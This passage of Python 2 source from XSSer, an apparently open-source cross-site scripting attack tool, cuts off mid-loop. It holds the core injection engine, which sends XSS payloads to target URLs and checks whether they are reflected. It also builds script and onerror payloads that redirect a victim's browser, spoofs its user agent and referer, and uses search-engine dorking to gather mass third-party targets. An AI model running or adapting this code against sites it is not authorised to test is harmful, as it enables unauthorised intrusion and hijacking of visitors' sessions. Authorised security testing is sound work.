  678. self._ongoing_requests -= 1
  679. dest_url = request.args[0]
  680. # adding constant head check number flag
  681. if self.options.isalive:
  682. self.flag_isalive_num = int(self.options.isalive)
  683. if self.options.isalive <= 0:
  684. pass
  685. elif self.options.isalive and self.options.nohead:
  686. self.errors_isalive = self.errors_isalive + 1
  687. if self.errors_isalive > self.options.isalive:
  688. pass
  689. else:
  690. self.report("---------------------")
  691. self.report("Alive Checker for: " + url + " - [", self.errors_isalive, "/", self.options.isalive, "]\n")
  692. if self.next_isalive == True:
  693. hc = Curl()
  694. self.next_isalive = False
  695. try:
  696. urls = hc.do_head_check([url])
  697. except:
  698. print "Target url: (" + url + ") is unaccesible" + " [DISCARDED]" + "\n"
  699. self.errors_isalive = 0
  700. return
  701. if str(hc.info()["http-code"]) in ["200", "302", "301", "401"]:
  702. print "HEAD alive check: OK" + "(" + hc.info()["http-code"] + ")\n"
  703. print "- Your target still Alive: " + "(" + url + ")"
  704. print "- If you are receiving continuous 404 errors requests on your injections but your target is alive is because:\n"
  705. print " - your injections are failing: normal :-)"
  706. print " - maybe exists some IPS/NIDS/... systems blocking your requests!\n"
  707. else:
  708. if str(hc.info()["http-code"]) == "0":
  709. print "\nTarget url: (" + url + ") is unaccesible" + " [DISCARDED]" + "\n"
  710. else:
  711. print "HEAD alive check: FAILED" + "(" + hc.info()["http-code"] + ")\n"
  712. print "- Your target " + "(" + url + ")" + " looks that is NOT alive"
  713. print "- If you are receiving continuous 404 errors requests on payloads\n and this HEAD pre-check request is giving you another 404\n maybe is because; target is down, url malformed, something is blocking you...\n- If you haven't more than one target try to; STOP THIS TEST!!\n"
  714. self.errors_isalive = 0
  715. else:
  716. if str(self.errors_isalive) >= str(self.options.isalive):
  717. self.report("---------------------")
  718. self.report("\nAlive System: XSSer is checking if your target still alive. [Waiting for reply...]\n")
  719. self.next_isalive = True
  720. self.options.isalive = self.flag_isalive_num
  721. else:
  722. if self.options.isalive and not self.options.nohead:
  723. self.report("---------------------")
  724. self.report("Alive System DISABLED!: XSSer is using a pre-check HEAD request per target by default to perform better accurance on tests\nIt will check if target is alive before inject all the payloads. try (--no-head) with (--alive <num>) to control this checker limit manually")
  725. self.report("---------------------")
  726. # check results an alternative url, choosing method and parameters, or not
  727. if self.options.altm == None or self.options.altm not in ["GET", "POST", "post"]:
  728. self.options.altm = "GET"
  729. if self.options.altm == "post":
  730. self.options.altm = "POST"
  731. if self.options.alt == None:
  732. pass
  733. else:
  734. self.report("="*45)
  735. self.report("[+] Checking Response Options:", "\n")
  736. self.report("[+] Url:", self.options.alt)
  737. self.report("[-] Method:", self.options.altm)
  738. if self.options.ald:
  739. self.report("[-] Parameter(s):", self.options.ald, "\n")
  740. else:
  741. self.report("[-] Parameter(s):", query_string, "\n")
  742. # perform normal injection
  743. if c.info()["http-code"] in ["200", "302", "301"]:
  744. if self.options.statistics:
  745. self.success_connection = self.success_connection + 1
  746. self._report_attack_success(c, dest_url, payload,
  747. query_string, url, orig_hash)
  748. else:
  749. self._report_attack_failure(c, dest_url, payload,
  750. query_string, url, orig_hash)
  751. # checking response results
  752. if self.options.alt == None:
  753. pass
  754. else:
  755. self.report("="*45)
  756. self.report("[+] Checking Response Results:", "\n")
  757. self.report("Searching using", self.options.altm, "for:", orig_hash, "on alternative url")
  758. if 'PAYLOAD' in payload['payload']:
  759. user_attack_payload = payload['payload'].replace('PAYLOAD', orig_hash)
  760. if self.options.ald:
  761. query_string = self.options.ald
  762. if "VECTOR" in self.options.alt:
  763. dest_url = self.options.alt
  764. else:
  765. if not dest_url.endswith("/"):
  766. dest_url = dest_url + "/"
  767. if self.options.altm == 'POST':
  768. dest_url = "" + query_string + user_attack_payload
  769. dest_url = dest_url.strip().replace("/", "", 1)
  770. if (self.options.xsa or self.options.xsr or self.options.coo):
  771. agent, referer, cookie = self._prepare_extra_attacks(payload)
  772. c.agent = agent
  773. c.referer = referer
  774. c.cookie = cookie
  775. data = c.post(url, dest_url)
  776. else:
  777. dest_url = self.options.alt + query_string + user_attack_payload
  778. if (self.options.xsa or self.options.xsr or self.options.coo):
  779. agent, referer, cookie = self._prepare_extra_attacks(payload)
  780. c.agent = agent
  781. c.referer = referer
  782. c.cookie = cookie
  783. c.get(dest_url)
  784. # perform check response injection
  785. if c.info()["http-code"] in ["200", "302", "301"]:
  786. if self.options.statistics:
  787. self.success_connection = self.success_connection + 1
  788. self._report_attack_success(c, dest_url, payload,
  789. query_string, url, orig_hash)
  790. else:
  791. self._report_attack_failure(c, dest_url, payload,
  792. query_string, url, orig_hash)
  793. c.close()
  794. del c
  795. def encoding_permutations(self, enpayload_url):
  796. """
  797. Perform encoding permutations on the url and query_string.
  798. """
  799. options = self.options
  800. if options.Cem:
  801. enc_perm = options.Cem.split(",")
  802. for _enc in enc_perm:
  803. enpayload_url = self.encmap[_enc](enpayload_url)
  804. else:
  805. for enctype in self.encmap.keys():
  806. if getattr(options, enctype):
  807. enpayload_url = self.encmap[enctype](enpayload_url)
  808. return enpayload_url
  809. def _report_attack_success(self, curl_handle, dest_url, payload,\
  810. query_string, orig_url, url_orig_hash):
  811. """
  812. report success of an attack
  813. """
  814. if not orig_url in self.successfull_urls:
  815. self.successfull_urls.append(orig_url)
  816. options = self.options
  817. self.report("-"*45)
  818. if payload['browser'] == "[hashed_precheck_system]" or payload['browser'] == "[manual_injection]" or payload['browser'] == "[Heuristic test]":
  819. pass
  820. else:
  821. self.report("[-] Hashing: " + url_orig_hash)
  822. if payload['browser'] == "[Heuristic test]":
  823. self.report("[+] Checking: " + str(payload['payload']).strip('XSS'))
  824. else:
  825. if options.postdata:
  826. self.report("[+] Trying: " + dest_url.strip(), "(POST:", query_string + ")")
  827. else:
  828. self.report("[+] Trying: " + urllib.unquote(dest_url.strip()))
  829. if payload['browser'] == "[Heuristic test]" or payload['browser'] == "[hashed_precheck_system]" or payload['browser'] == "[manual_injection]":
  830. pass
  831. else:
  832. self.report("[+] Browser Support: " + payload['browser'])
  833. # statistics injections counters
  834. if payload['browser']=="[hashed_precheck_system]" or payload['browser']=="[Heuristic test]":
  835. self.check_positives = self.check_positives + 1
  836. elif payload['browser']=="[Data Control Protocol Injection]":
  837. self.dcp_injection = self.dcp_injection + 1
  838. elif payload['browser']=="[Document Object Model Injection]":
  839. self.dom_injection = self.dom_injection + 1
  840. elif payload['browser']=="[Induced Injection]":
  841. self.httpsr_injection = self.httpsr_injection + 1
  842. elif payload['browser']=="[manual_injection]":
  843. self.manual_injection = self.manual_injection + 1
  844. else:
  845. self.auto_injection = self.auto_injection +1
  846. if options.verbose:
  847. self.report("[-] Headers Results:\n")
  848. self.report(curl_handle.info())
  849. # if you need more data about your connection(s), uncomment this two lines:
  850. #self.report("[-] Body Results:\n")
  851. #self.report(curl_handle.body())
  852. self.report("-"*45)
  853. if payload['browser']=="[Heuristic test]":
  854. pass
  855. else:
  856. self.report("[-] Injection Results:")
  857. # check attacks success
  858. for attack_type in self._ongoing_attacks:
  859. hashing = url_orig_hash
  860. # checking heuristic responses
  861. if payload['browser']=="[Heuristic test]":
  862. heuristic_param = str(payload['payload']).strip('XSS')
  863. heuristic_string = str(hashing)
  864. if heuristic_string in curl_handle.body():
  865. # ascii
  866. if heuristic_param == "\\":
  867. self.heuris_backslash_found = self.heuris_backslash_found + 1
  868. # / is the same on ASCII and Unicode
  869. elif heuristic_param == "/":
  870. self.heuris_slash_found = self.heuris_slash_found + 1
  871. self.heuris_une_slash_found = self.heuris_une_slash_found + 1
  872. elif heuristic_param == ">":
  873. self.heuris_mayor_found = self.heuris_mayor_found + 1
  874. elif heuristic_param == "<":
  875. self.heuris_minor_found = self.heuris_minor_found + 1
  876. elif heuristic_param == ";":
  877. self.heuris_semicolon_found = self.heuris_semicolon_found + 1
  878. elif heuristic_param == "'":
  879. self.heuris_colon_found = self.heuris_colon_found + 1
  880. elif heuristic_param == '"':
  881. self.heuris_doublecolon_found = self.heuris_doublecolon_found + 1
  882. elif heuristic_param == "=":
  883. self.heuris_equal_found = self.heuris_equal_found + 1
  884. # une
  885. elif heuristic_param == "%5C":
  886. self.heuris_une_backslash_found = self.heuris_une_backslash_found + 1
  887. elif heuristic_param == "%3E":
  888. self.heuris_une_mayor_found = self.heuris_une_mayor_found + 1
  889. elif heuristic_param == "%3C":
  890. self.heuris_une_minor_found = self.heuris_une_minor_found + 1
  891. elif heuristic_param == "%3B":
  892. self.heuris_une_semicolon_found = self.heuris_une_semicolon_found + 1
  893. elif heuristic_param == "%27":
  894. self.heuris_une_colon_found = self.heuris_une_colon_found + 1
  895. elif heuristic_param == "%22":
  896. self.heuris_une_doublecolon_found = self.heuris_une_doublecolon_found + 1
  897. elif heuristic_param == "%3D":
  898. self.heuris_une_equal_found = self.heuris_une_equal_found + 1
  899. # dec
  900. elif heuristic_param == "&#92":
  901. self.heuris_dec_backslash_found = self.heuris_dec_backslash_found + 1
  902. elif heuristic_param == "&#47":
  903. self.heuris_dec_slash_found = self.heuris_dec_slash_found + 1
  904. elif heuristic_param == "&#62":
  905. self.heuris_dec_mayor_found = self.heuris_dec_mayor_found + 1
  906. elif heuristic_param == "&#60":
  907. self.heuris_dec_minor_found = self.heuris_dec_minor_found + 1
  908. elif heuristic_param == "&#59":
  909. self.heuris_dec_semicolon_found = self.heuris_dec_semicolon_found + 1
  910. elif heuristic_param == "&#39":
  911. self.heuris_dec_colon_found = self.heuris_dec_colon_found + 1
  912. elif heuristic_param == "&#34":
  913. self.heuris_dec_doublecolon_found = self.heuris_dec_doublecolon_found + 1
  914. elif heuristic_param == "&#61":
  915. self.heuris_dec_equal_found = self.heuris_dec_equal_found + 1
  916. self.add_success(dest_url, payload, hashing, query_string, orig_url, attack_type)
  917. else:
  918. if heuristic_param == "\\":
  919. self.heuris_backslash_notfound = self.heuris_backslash_notfound + 1
  920. elif heuristic_param == "/":
  921. self.heuris_slash_notfound = self.heuris_slash_notfound + 1
  922. elif heuristic_param == ">":
  923. self.heuris_mayor_notfound = self.heuris_mayor_notfound + 1
  924. elif heuristic_param == "<":
  925. self.heuris_minor_notfound = self.heuris_minor_notfound + 1
  926. elif heuristic_param == ";":
  927. self.heuris_semicolon_notfound = self.heuris_semicolon_notfound + 1
  928. elif heuristic_param == "'":
  929. self.heuris_colon_notfound = self.heuris_colon_notfound + 1
  930. elif heuristic_param == '"':
  931. self.heuris_doublecolon_notfound = self.heuris_doublecolon_notfound + 1
  932. elif heuristic_param == "=":
  933. self.heuris_equal_notfound = self.heuris_equal_notfound + 1
  934. else:
  935. # only add a success if hashing is on body and we have a 200OK
  936. if hashing in curl_handle.body() and str(curl_handle.info()["http-code"]) == "200":
  937. # some anti false positives manual checkers
  938. if 'PAYLOAD' in payload['payload']:
  939. user_attack_payload = payload['payload'].replace('PAYLOAD', url_orig_hash)
  940. if str(options.discode) in curl_handle.body(): # provided by user
  941. self.report("[!] Reply contains 'discode' provided... forcing failure!\n")
  942. self.add_failure(dest_url, payload, hashing, query_string, attack_type)
  943. else:
  944. if str('/&gt;' + hashing) in curl_handle.body() or str('href=' + dest_url + hashing) in curl_handle.body() or str('content=' + dest_url + hashing) in curl_handle.body(): # provided by XSSer experience
  945. self.report("[!] Reply looks a false positive from here. Try to inject it manually for check results... discarding!\n")
  946. self.add_failure(dest_url, payload, hashing, query_string, attack_type)
  947. else:
  948. if options.discode:
  949. self.report("[+] Reply does not contain 'discode' provided... adding!\n")
  950. self.add_success(dest_url, payload, hashing, query_string, orig_url, attack_type)
  951. else:
  952. self.add_failure(dest_url, payload, hashing, query_string, attack_type)
  953. def add_failure(self, dest_url, payload, hashing, query_string, method='url'):
  954. """
  955. Add an attack that failed to inject
  956. """
  957. if payload['browser'] == "[Heuristic test]":
  958. pass
  959. else:
  960. self.report("[+] Checking: " + method + " attack with " + payload['payload'] + "... fail\n")
  961. options = self.options
  962. for reporter in self._reporters:
  963. reporter.add_failure(dest_url)
  964. if options.script:
  965. self.hash_notfound.append((dest_url, "Manual injection", method, hashing))
  966. else:
  967. self.hash_notfound.append((dest_url, payload['browser'], method, hashing))
  968. if options.verbose:
  969. self.report("Searching hash: " + hashing + " in target source code...\n")
  970. self.report("Injection failed!\n")
  971. def add_success(self, dest_url, payload, hashing, query_string, orig_url, method='url'):
  972. """
  973. Add an attack that managed to inject the code
  974. """
  975. if payload['browser'] == "[manual_injection]":
  976. self.report("[+] Checking: " + method + " attack with " + payload['payload'].strip() + "... ok\n")
  977. elif payload['browser'] == "[Heuristic test]":
  978. pass
  979. else:
  980. self.report("[+] Checking: " + method + " attack with " + payload['payload'].strip() + "... ok\n")
  981. for reporter in self._reporters:
  982. reporter.add_success(dest_url)
  983. if self.options.reversecheck:
  984. if self.options.dcp or self.options.inducedcode or self.options.dom:
  985. pass
  986. else:
  987. self.do_token_check(orig_url, hashing, payload, query_string, dest_url)
  988. self.hash_found.append((dest_url, payload['browser'], method, hashing, query_string, payload, orig_url))
  989. if self.options.verbose:
  990. self.report("Searching hash: " + hashing + " in target source code...\n")
  991. self.report("This injection is reflected by target so can be a vulnerability!! :)\n")
  992. self.report("Try --reverse-check connection to certify that is 100% vulnerable\n")
  993. def do_token_check(self, orig_url, hashing, payload, query_string, dest_url):
  994. self.report("[-] Trying reverse connection from:", orig_url + query_string)
  995. if "VECTOR" in orig_url:
  996. dest_url = orig_url
  997. else:
  998. if not dest_url.endswith("/"):
  999. dest_url = dest_url + "/"
  1000. dest_url = orig_url + query_string + payload['payload']
  1001. tok_url = None
  1002. self_url = "http://localhost:19084/success/" + hashing
  1003. shadow_js_inj = "document.location=document.location.hash.substring(1)"
  1004. shadow_inj = "<script>" + shadow_js_inj + "</script>"
  1005. shadow_js_inj = shadow_js_inj
  1006. dest_url = dest_url.split("#")[0]
  1007. def requote(what):
  1008. return urllib.quote_plus(what)
  1009. vector_and_payload = payload['payload']
  1010. _e = self.encoding_permutations
  1011. if 'VECTOR' in dest_url:
  1012. dest_url = dest_url.replace('VECTOR', vector_and_payload)
  1013. if '">PAYLOAD' in dest_url:
  1014. tok_url = dest_url.replace('">PAYLOAD', _e('">' + shadow_inj))
  1015. tok_url += '#' + self_url
  1016. elif "'>PAYLOAD" in dest_url:
  1017. tok_url = dest_url.replace("'>PAYLOAD", _e("'>" + shadow_inj))
  1018. tok_url += '#' + self_url
  1019. elif "javascript:PAYLOAD" in dest_url:
  1020. tok_url = dest_url.replace('javascript:PAYLOAD',
  1021. self.encoding_permutations("window.location='" + self_url+"';"))
  1022. tok_url = dest_url.replace("javascript:PAYLOAD",
  1023. _e("javascript:" + shadow_js_inj))
  1024. tok_url+= '#' + self_url
  1025. elif '"PAYLOAD"' in dest_url:
  1026. tok_url = dest_url.replace('"PAYLOAD"', '"' + self_url + '"')
  1027. elif "'PAYLOAD'" in dest_url:
  1028. tok_url = dest_url.replace("'PAYLOAD'", "'" + self_url + "'")
  1029. elif 'PAYLOAD' in dest_url and 'SRC' in dest_url:
  1030. tok_url = dest_url.replace('PAYLOAD', self_url)
  1031. elif "SCRIPT" in dest_url:
  1032. tok_url = dest_url.replace('PAYLOAD',
  1033. shadow_js_inj)
  1034. tok_url += '#' + self_url
  1035. elif 'onerror="PAYLOAD"' in dest_url:
  1036. tok_url = dest_url.replace('onerror="PAYLOAD"', _e('onerror="' + shadow_inj + '"'))
  1037. tok_url+= '#' + self_url
  1038. elif 'onerror="javascript:PAYLOAD"' in dest_url:
  1039. tok_url = dest_url.replace('javascript:PAYLOAD',
  1040. self.encoding_permutations("window.location='" + self_url+"';"))
  1041. tok_url = dest_url.replace('onerror="javascript:PAYLOAD"',
  1042. _e('onerror="javascript:' + shadow_js_inj + '"'))
  1043. tok_url+= '#' + self_url
  1044. elif '<PAYLOAD>' in dest_url:
  1045. tok_url = dest_url.replace("<PAYLOAD>", _e(shadow_inj))
  1046. tok_url+= '#' + self_url
  1047. elif 'PAYLOAD' in dest_url:
  1048. tok_url = dest_url.replace("PAYLOAD", _e(shadow_inj))
  1049. tok_url+= '#' + self_url
  1050. elif 'href' in dest_url and 'PAYLOAD' in dest_url:
  1051. tok_url = dest_url.replace('PAYLOAD', self_url)
  1052. elif 'HREF' in dest_url and 'PAYLOAD' in dest_url:
  1053. tok_url = dest_url.replace('PAYLOAD', self_url)
  1054. elif 'url' in dest_url and 'PAYLOAD' in dest_url:
  1055. tok_url = dest_url.replace('PAYLOAD', self_url)
  1056. self.final_attacks[hashing] = {'url': tok_url}
  1057. if tok_url:
  1058. self._webbrowser.open(tok_url)
  1059. else:
  1060. print("Cant apply any heuristic for final check on url: " + dest_url)
  1061. def _report_attack_failure(self, curl_handle, dest_url, payload,\
  1062. attack_vector, orig_url, url_orig_hash):
  1063. """
  1064. report failure of an attack
  1065. """
  1066. options = self.options
  1067. self.hash_notfound.append((dest_url, payload['browser'], "errorcode"))
  1068. self.report("-"*45)
  1069. for reporter in self._reporters:
  1070. reporter.add_failure(dest_url)
  1071. if payload['browser'] == "[hashed_precheck_system]" or payload['browser'] == "[manual_injection]" or payload['browser'] == "[Heuristic test]":
  1072. pass
  1073. else:
  1074. self.report("[-] Hashing: " + url_orig_hash)
  1075. if payload['browser'] == "[Heuristic test]":
  1076. self.report("[+] Trying: " + str(payload['payload']).strip('XSS'))
  1077. else:
  1078. if options.postdata:
  1079. try:
  1080. self.report("[+] Trying: " + dest_url.strip(), "(POST:", query_string + ")")
  1081. except:
  1082. self.report("[+] Trying: " + dest_url.strip(), "(POST)")
  1083. else:
  1084. self.report("[+] Trying: " + urllib.unquote(dest_url.strip()))
  1085. self.report("[+] Browser Support: " + payload['browser'])
  1086. # statistics injections counters
  1087. if payload['browser']=="[hashed_precheck_system]" or payload['browser']=="[Heuristic test]":
  1088. self.check_positives = self.check_positives + 1
  1089. elif payload['browser']=="[Data Control Protocol Injection]":
  1090. self.dcp_injection = self.dcp_injection + 1
  1091. elif payload['browser']=="[Document Object Model Injection]":
  1092. self.dom_injection = self.dom_injection + 1
  1093. elif payload['browser']=="[Induced Injection]":
  1094. self.httpsr_injection = self.httpsr_injection + 1
  1095. elif payload['browser']=="[manual_injection]":
  1096. self.manual_injection = self.manual_injection + 1
  1097. else:
  1098. self.auto_injection = self.auto_injection +1
  1099. if options.verbose:
  1100. self.report("[-] Headers Results:\n")
  1101. self.report(str(curl_handle.info()))
  1102. self.report("-"*45)
  1103. self.report("[-] Injection Results:")
  1104. if str(curl_handle.info()["http-code"]) == "404":
  1105. self.report("\n404 Not Found: The server has not found anything matching the Request-URI\n")
  1106. elif str(curl_handle.info()["http-code"]) == "403":
  1107. self.report("\n403 Forbidden: The server understood the request, but is refusing to fulfill it\n")
  1108. elif str(curl_handle.info()["http-code"]) == "400":
  1109. self.report("\n400 Bad Request: The request could not be understood by the server due to malformed syntax\n")
  1110. elif str(curl_handle.info()["http-code"]) == "401":
  1111. self.report("\n401 Unauthorized: The request requires user authentication\n\nIf you are trying to authenticate: Login is failing!\n\ncheck:\n- authentication type is correct for the type of realm (basic, digest, gss, ntlm...)\n- credentials 'user:password' are correctly typed\n")
  1112. elif str(curl_handle.info()["http-code"]) == "407":
  1113. self.report("\n407 Proxy Authentication Required: XSSer must first authenticate itself with the proxy\n")
  1114. elif str(curl_handle.info()["http-code"]) == "408":
  1115. self.report("\n408 Request Timeout: XSSer did not produce a request within the time that the server was prepared to wait\n")
  1116. elif str(curl_handle.info()["http-code"]) == "500":
  1117. self.report("\n500 Internal Server Error: The server encountered an unexpected condition which prevented it from fulfilling the request\n")
  1118. elif str(curl_handle.info()["http-code"]) == "501":
  1119. self.report("\n501 Not Implemented: The server does not support the functionality required to fulfill the request\n")
  1120. elif str(curl_handle.info()["http-code"]) == "502":
  1121. self.report("\n502 Bad Gateway: The server received an invalid response from the upstream server.\n")
  1122. elif str(curl_handle.info()["http-code"]) == "503":
  1123. self.report("\n503 Service Unavailable: The server is currently unable to handle the request due to a temporary overloading\n")
  1124. elif str(curl_handle.info()["http-code"]) == "504":
  1125. self.report("\n504 Gateway Timeout: The server did not receive a timely response specified by the URI (try: --ignore-proxy)\n")
  1126. elif str(curl_handle.info()["http-code"]) == "0":
  1127. self.report("\nXSSer is not working properly!:\n - Is something blocking connection(s)?\n - Is target url ok?: (" + orig_url + ")\n")
  1128. else:
  1129. self.report("\nNot injected!. Server responses with http-code different to: 200 OK (" + str(curl_handle.info()["http-code"]) + ")\n")
  1130. if self.options.statistics:
  1131. if str(curl_handle.info()["http-code"]) == "404":
  1132. self.not_connection = self.not_connection + 1
  1133. elif str(curl_handle.info()["http-code"]) == "503":
  1134. self.forwarded_connection = self.forwarded_connection + 1
  1135. else:
  1136. self.other_connection = self.other_connection + 1
  1137. def check_positive(self, curl_handle, dest_url, payload, attack_vector):
  1138. """
  1139. Perform extra check for positives
  1140. """
  1141. body = curl_handle.body()
  1142. # should check ongoing_attacks here
  1143. # perform extra checks
  1144. pass
  1145. def create_options(self, args=None):
  1146. """
  1147. Create options for OptionParser.
  1148. """
  1149. self.optionParser = XSSerOptions()
  1150. self.options = self.optionParser.get_options(args)
  1151. if not self.options:
  1152. return False
  1153. return self.options
  1154. def _get_attack_urls(self):
  1155. """
  1156. Process payload options and make up the payload list for the attack.
  1157. """
  1158. urls = []
  1159. options = self.options
  1160. p = self.optionParser
  1161. if options.imx:
  1162. self.create_fake_image(options.imx, options.script)
  1163. return []
  1164. if options.flash:
  1165. self.create_fake_flash(options.flash, options.script)
  1166. return []
  1167. if options.update:
  1168. self.report('='*75)
  1169. self.report(str(p.version))
  1170. self.report('='*75)
  1171. try:
  1172. print("\nTrying to update automatically to the latest stable version\n")
  1173. Updater()
  1174. except:
  1175. print("\nSomething was wrong!. You should clone XSSer manually with:\n")
  1176. print("$ git clone https://github.com/epsylon/xsser\n")
  1177. return []
  1178. if options.wizard: # processing wizard template
  1179. if self.user_template is not None:
  1180. self.options.statistics = True # detailed output
  1181. if self.user_template[0] == "DORKING": # mass-dorking
  1182. self.options.dork_file = True
  1183. self.options.dork_mass = True
  1184. elif "http" in self.user_template[0]: # from target url
  1185. self.options.url = self.user_template[0]
  1186. else: # from file
  1187. self.options.readfile = self.user_template[0]
  1188. if self.user_template[1] == "CRAWLER": # crawlering target
  1189. self.options.crawling = "10"
  1190. else: # manual payload (GET or POST)
  1191. if self.user_template_conntype == "GET":
  1192. self.options.getdata = self.user_template[1]
  1193. else:
  1194. self.options.postdata = self.user_template[1]
  1195. if self.user_template[2] == "Proxy: No - Spoofing: Yes":
  1196. self.options.ignoreproxy = True
  1197. self.options.agent = "Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search" # spoof agent
  1198. self.options.referer = "127.0.0.1" # spoof referer
  1199. elif self.user_template[2] == "Proxy: No - Spoofing: No":
  1200. self.options.ignoreproxy = True
  1201. else: # using proxy + spoofing
  1202. self.options.agent = "Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search" # spoof agent
  1203. self.options.referer = "127.0.0.1" # spoof referer
  1204. if self.user_template[2] is not None:
  1205. self.options.proxy = self.user_template[2]
  1206. else:
  1207. self.options.ignoreproxy = True
  1208. if self.user_template[3] == "Not using encoders":
  1209. pass
  1210. elif self.user_template[3] == "Hex": # Hexadecimal
  1211. self.options.Hex = True
  1212. elif self.user_template[3] == "Str+Une": # StringFromCharCode()+Unescape()
  1213. self.options.Str = True
  1214. self.options.Une = True
  1215. else: # Character encoding mutations
  1216. self.options.Cem = self.user_template[3]
  1217. if self.user_template[4] == "Alertbox": # Classic AlertBox injection
  1218. self.options.finalpayload = "<script>alert('XSS');</script>"
  1219. else:
  1220. if self.user_template[4] is not None: # Inject user script
  1221. self.options.finalpayload = self.user_template[4]
  1222. else: # not final injection
  1223. pass
  1224. else: # exit
  1225. return
  1226. if options.target: # miau!
  1227. self.report('='*75)
  1228. self.report(str(p.version))
  1229. self.report('='*75)
  1230. self.report("Testing [Full XSS audit]... Searching for lulz?! ;-)")
  1231. self.report('='*75)
  1232. self.report("\n[Info] The following actions will be performed at the end:\n")
  1233. self.report(" 1- Output with detailed statistics\n")
  1234. self.report(" 2- Export results to files: [XSSreport.raw] - [XSSer_<target>_<datetime>.xml]\n")
  1235. self.report("-"*22)
  1236. print '[Info] Good fly... and happy "Cross" hacking !!! :-)'
  1237. self.options.crawling = "99999" # set max num of urls to crawl
  1238. self.options.crawler_width = "5" # set max num of deeping levels
  1239. self.options.statistics = True # detailed output
  1240. self.options.timeout = "60" # timeout
  1241. self.options.retries = "2" # retries
  1242. self.options.delay = "5" # delay
  1243. self.options.threads = "10" # threads
  1244. self.options.followred = True # follow redirs
  1245. self.options.nohead = True # no HEAD check
  1246. self.options.reversecheck = True # establish reverse connection
  1247. self.options.fuzz = True # autofuzzing
  1248. self.options.coo = True # COO
  1249. self.options.xsa = True # XSA
  1250. self.options.xsr = True # XSR
  1251. self.options.dcp = True # DCP
  1252. self.options.dom = True # DOM
  1253. self.options.inducedcode = True # Induced
  1254. self.options.fileoutput = True # Important: export results to file (.raw)
  1255. self.options.filexml = "XSSer_" + str(self.options.target) + "_" + str(datetime.datetime.now())+".xml" # export xml
  1256. self.check_trace() # XST
  1257. urls = [options.target]
  1258. if options.url:
  1259. self.report('='*75)
  1260. self.report(str(p.version))
  1261. self.report('='*75)
  1262. self.report("Testing [XSS from URL]...")
  1263. self.report('='*75)
  1264. urls = [options.url]
  1265. elif options.readfile:
  1266. self.report('='*75)
  1267. self.report(str(p.version))
  1268. self.report('='*75)
  1269. self.report("Testing [XSS from file]...")
  1270. self.report('='*75)
  1271. try:
  1272. f = open(options.readfile)
  1273. urls = f.readlines()
  1274. urls = [ line.replace('\n','') for line in urls ]
  1275. f.close()
  1276. except:
  1277. import os.path
  1278. if os.path.exists(options.readfile) == True:
  1279. self.report('\nThere are some errors opening the file: ', options.readfile, "\n")
  1280. else:
  1281. self.report('\nCannot found file: ', options.readfile, "\n")
  1282. elif options.dork: # dork a query
  1283. self.report('='*75)
  1284. self.report(str(p.version))
  1285. self.report('='*75)
  1286. self.report("Testing [XSS from Dork-Query]... Good luck! ;-)")
  1287. self.report('='*75)
  1288. if options.dork_mass: # massive dorkering
  1289. for e in self.search_engines:
  1290. try:
  1291. dorker = Dorker(e)
  1292. urls = dorker.dork(options.dork)
  1293. i = 0
  1294. for u in urls: # replace original parameter for injection keyword (XSS)
  1295. p_uri = urlparse(u)
  1296. uri = p_uri.netloc
  1297. path = p_uri.path
  1298. target_params = parse_qs(urlparse(u).query, keep_blank_values=True)
  1299. for key, value in target_params.iteritems(): # parse params to apply keywords
  1300. for v in value:
  1301. target_params[key] = 'XSS'
  1302. target_url_params = urllib.urlencode(target_params)
  1303. u = p_uri.scheme + "://" + uri + path + "?" + target_url_params
  1304. urls[i] = u
  1305. i = i + 1
  1306. except Exception, e:
  1307. for reporter in self._reporters:
  1308. reporter.mosquito_crashed(dorker.search_url, str(e.message))
  1309. else:
  1310. if urls is not None:
  1311. for url in urls:
  1312. for reporter in self._reporters:
  1313. reporter.add_link(dorker.search_url, url)
  1314. else:
  1315. if not options.dork_engine:
  1316. options.dork_engine = 'yahoo' # default search engine [09-04/2018]
  1317. dorker = Dorker(options.dork_engine)
  1318. try:
  1319. urls = dorker.dork(options.dork)
  1320. i = 0
  1321. for u in urls: # replace original parameter for injection keyword (XSS)
  1322. p_uri = urlparse(u)
  1323. uri = p_uri.netloc
  1324. path = p_uri.path
  1325. target_params = parse_qs(urlparse(u).query, keep_blank_values=True)
  1326. for key, value in target_params.iteritems(): # parse params to apply keywords
  1327. for v in value:
  1328. target_params[key] = 'XSS'
  1329. target_url_params = urllib.urlencode(target_params)
  1330. u = p_uri.scheme + "://" + uri + path + "?" + target_url_params
  1331. urls[i] = u
  1332. i = i + 1
  1333. except Exception, e:
  1334. for reporter in self._reporters:
  1335. reporter.mosquito_crashed(dorker.search_url, str(e.message))
  1336. else:
  1337. if urls is not None:
  1338. for url in urls:
  1339. for reporter in self._reporters:
  1340. reporter.add_link(dorker.search_url, url)
  1341. elif options.dork_file: # dork from file ('core/fuzzing/dorks.txt')
  1342. self.report('='*75)
  1343. self.report(str(p.version))
  1344. self.report('='*75)
  1345. self.report("Testing [XSS from Dork-File]... Good luck! ;-)")
  1346. self.report('='*75)
  1347. try:
  1348. f = open('core/fuzzing/dorks.txt')
  1349. dorks = f.readlines()
  1350. dorks = [ dork.replace('\n','') for dork in dorks ]
  1351. f.close()
  1352. if not dorks:
  1353. print "\n[Error] - Imposible to retrieve 'dorks' from file.\n"
  1354. return
  1355. except:
  1356. if os.path.exists('core/fuzzing/dorks.txt') == True:
  1357. print '[Error] - Cannot open:', 'dorks.txt', "\n"
  1358. return
  1359. else:
  1360. print '[Error] - Cannot found:', 'dorks.txt', "\n"
  1361. return
  1362. if not options.dork_engine:
  1363. options.dork_engine = 'yahoo' # default search engine [09-04/2018]
  1364. if options.dork_mass: # massive dorkering
  1365. for e in self.search_engines:
  1366. try:
  1367. dorker = Dorker(e)
  1368. for dork in dorks:
  1369. urls = dorker.dork(dork)
  1370. i = 0
  1371. for u in urls: # replace original parameter for injection keyword (XSS)
  1372. p_uri = urlparse(u)
  1373. uri = p_uri.netloc
  1374. path = p_uri.path
  1375. target_params = parse_qs(urlparse(u).query, keep_blank_values=True)
  1376. for key, value in target_params.iteritems(): # parse params to apply keywords
  1377. for v in value:
  1378. target_params[key] = 'XSS'
  1379. target_url_params = urllib.urlencode(target_params)
  1380. u = p_uri.scheme + "://" + uri + path + "?" + target_url_params
  1381. urls[i] = u
  1382. i = i + 1
  1383. except Exception, e:
  1384. for reporter in self._reporters:
  1385. reporter.mosquito_crashed(dorker.search_url, str(e.message))
  1386. else:
  1387. if urls is not None:
  1388. for url in urls:
  1389. for reporter in self._reporters:
